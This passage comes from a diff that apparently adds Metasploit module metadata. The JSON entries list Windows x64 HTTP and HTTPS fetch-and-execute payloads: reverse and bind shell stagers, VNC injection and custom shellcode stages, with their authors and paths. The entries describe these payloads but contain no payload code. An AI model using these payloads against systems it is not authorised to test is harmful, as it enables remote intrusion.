server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell_bind_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/http/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/shell_reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/http/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_named_pipe": { + "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp": { + "name": "HTTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp_rc4": { + "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/vncinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_http": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_https": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp": { + "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp_rc4": { + "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_winhttp": { + "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/http/x64/vncinject/reverse_winhttps": { + "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/http/x64/vncinject/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an http server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/http/x64/vncinject/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_named_pipe": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_tcp_rc4": { + "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/bind_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/custom/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_http": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_https": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "agix", + "rwincey" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 wininet)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_winhttp": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/custom/reverse_winhttps": { + "name": "HTTPS Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/custom/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/custom/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/windows/https/x64/encrypted_shell/reverse_tcp": { + "name": "HTTPS Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/encrypted_shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Matt Graeber", + "Shelby Pace" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/encrypted_shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + 